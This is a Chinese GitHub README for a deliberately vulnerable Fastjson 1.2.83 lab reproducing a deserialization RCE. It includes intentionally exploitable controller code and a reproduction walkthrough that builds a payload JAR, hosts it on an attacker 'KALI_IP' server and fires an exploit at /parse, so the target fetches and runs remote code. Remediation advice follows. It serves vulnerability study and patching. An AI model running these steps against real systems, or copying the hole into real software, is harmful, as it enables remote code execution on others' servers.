why-success/fastjson-rce-lab

GitHub: why-success/fastjson-rce-lab

该靶场用于复现和研究 Fastjson 1.2.83 Gadget-free 反序列化 RCE 漏洞(CVE-2026-16723),提供开箱即用的漏洞验证与学习环境。

Stars: 0 | Forks: 0

# Fastjson 1.2.83 RCE 靶场环境 (CVE-2026-16723) ## 漏洞概述 | 项目 | 内容 | |---|---| | CVE | CVE-2026-16723 (CVSS 9.0) | | 影响版本 | Fastjson 1.2.68 ~ 1.2.83 | | 漏洞类型 | 反序列化远程代码执行 (RCE) | | 核心特点 | **Gadget-free**(不依赖任何第三方类库) | | 完整 RCE 条件 | JDK 8 + Spring Boot Fat-JAR + SafeMode 关闭 | ## 靶场环境说明 - **Fastjson 1.2.83** - **SafeMode 关闭**(默认状态) - **Spring Boot fat-JAR** 打包(内含 `LaunchedURLClassLoader`,利用链必要组件) - **已修复关键行**:`ParseController` 调用 `JSON.parse()` 前将线程 ClassLoader 切为 `LaunchedURLClassLoader`(`Thread.currentThread().setContextClassLoader(ParserConfig.class.getClassLoader())`),这是 @JSONType 探测路径能够远程加载类的必要前提 - 提供 `/parse`(`JSON.parse`)和 `/parseObject`(`JSON.parseObject`)两个解析端点 ## 环境要求 - **JDK 8**(完整 RCE 必须 JDK 8;JDK 9+ 只能 SSRF 无法完整 RCE) - 操作系统:Windows / Linux / UOS / macOS 均可 - 内存:最小 256MB 空闲 ## 构建 从源码构建 fat-JAR(需要 JDK 8 + Maven): ``` git clone https://github.com/why-success/fastjson-rce-lab.git cd fastjson-rce-lab mvn clean package -DskipTests ``` 构建产物在 `target/fastjson-rce-lab.jar`。 ## 快速启动 ### Windows ``` # 双击 start.bat # 或命令行 java -Xmx256m -Xms64m -XX:MaxMetaspaceSize=128m -XX:+UseSerialGC -jar target\fastjson-rce-lab.jar --server.port=18080 ``` ### Linux ``` chmod +x start.sh ./start.sh # 或手动启动 ulimit -n 65536 java -Xmx256m -Xms64m -XX:MaxMetaspaceSize=128m -XX:+UseSerialGC -jar target/fastjson-rce-lab.jar --server.port=18080 ``` ### 启动验证 ``` curl http://127.0.0.1:18080/status ``` 预期返回: ``` { "fastjsonVersion": "1.2.83", "safeMode": false, "autoTypeSupport": false, "vulnerable": true, "javaVersion": "1.8.0_xxx" } ``` `safeMode: false` 且 `vulnerable: true` 即为易受攻击状态。 ## 端点说明 | 方法 | 路径 | 说明 | |---|---|---| | GET | `/` | 靶场首页(HTML) | | GET | `/status` | Fastjson 配置状态(JSON) | | POST | `/parse` | `JSON.parse(body)` — 主要漏洞触发端点 | | POST | `/parseObject` | `JSON.parseObject(body)` — 备用触发端点 | ## 漏洞原理 ``` 1. 攻击者发送特制 JSON(@type 指向 jar:http 资源路径) 2. Fastjson checkAutoType() 将 typeName 转为资源路径 "typeName.replace('.', '/') + .class" 做探测 3. getResourceAsStream() 触发 LaunchedURLClassLoader → 发起 HTTP 请求拉取远程 JAR 4. ASM 扫描字节码,发现 @JSONType 注解 → 视为信任信号 5. 跳过危险基类检查 → loadClass() → defineClass() 6. 触发 静态初始化块 → RCE ``` ### 靶场中的关键代码 ``` // ParseController.java — /parse 端点 @PostMapping("/parse") public Map parse(@RequestBody String body) { // ⚠️ 这一行是关键:切换到 LaunchedURLClassLoader Thread.currentThread().setContextClassLoader(ParserConfig.class.getClassLoader()); Object obj = JSON.parse(body); // ... } ``` 没有这行 `setContextClassLoader`,Fastjson 使用系统默认 AppClassLoader,无法通过 `jar:http://` 协议加载远程类。 ## 利用复现 ### 第一步:获取 PoC 工具 ``` git clone https://github.com/0x7eTeam/fastjson-1.2.83-rce.git cd fastjson-1.2.83-rce ``` ### 第二步:修改 GenProbe.java(关键) 仓库自带的 `poc/GenProbe.java` 有两个兼容性问题已修复: 1. **硬编码 `/bin/bash -c`** → 改为 `Runtime.exec(String)` 通用版本(Windows/Linux 都可用) 2. 跨平台命令格式:Windows 靶场用 `"cmd /c xxx"`,Linux 靶场直接用 `"touch /tmp/pwned"` 或 `"bash -c xxx"` ### 第三步:生成 probe.jar 并托管 完整攻击流程见 **`靶场测试完整指南.md`**(同目录下),包含: - 完整七步攻击操作流程 - 各平台命令速查表 - 6 种常见报错及排查方法 ### 快速验证(Windows 靶场示例) ``` # 在攻击机(或能编译 Java 的机器)上 cd fastjson-1.2.83-rce javac -encoding UTF-8 -cp "poc/lib/*" -d poc/classes poc/GenProbe.java java -cp "poc/classes;poc/lib/asm-9.6.jar;poc/lib/fastjson-1.2.83.jar" GenProbe KALI_IP 19090 "cmd /c calc" # 将 poc/www/probe 拷到 Kali # Kali 上启动 HTTP 托管 cd poc/www && python3 -m http.server 19090 # 重启靶场 → Kali 新终端打 exp python3 poc/exp.py -u http://靶场IP:18080/parse -poc http://KALI_IP:19090/probe ``` ## 修复方案 ### 紧急修复:启用 SafeMode ``` # JVM 启动参数 -Dfastjson.parser.safeMode=true ``` ``` // 代码配置 ParserConfig.getGlobalInstance().setSafeMode(true); ``` ### 长期修复:迁移至 Fastjson 2.x ``` com.alibaba.fastjson2 fastjson2 2.x ``` Fastjson2 不受此漏洞影响。 ### 其他措施 - 使用 `com.alibaba:fastjson:1.2.83_noneautotype` 构建版本 - 阻止应用服务器出站 HTTP 流量 - 排查所有 Fastjson 1.x 依赖实例 ## 技术参考 - Kirill Firsov (@k_firsov) 披露: - PoC 项目: - 阿里安全公告(2026-07-21) - 腾讯云安全通告(2026-07-20)
标签:Fastjson, GHAS, Go语言工具, Java安全, JS文件枚举, 云安全, 反序列化漏洞, 域名枚举, 安全靶场, 漏洞复现, 漏洞环境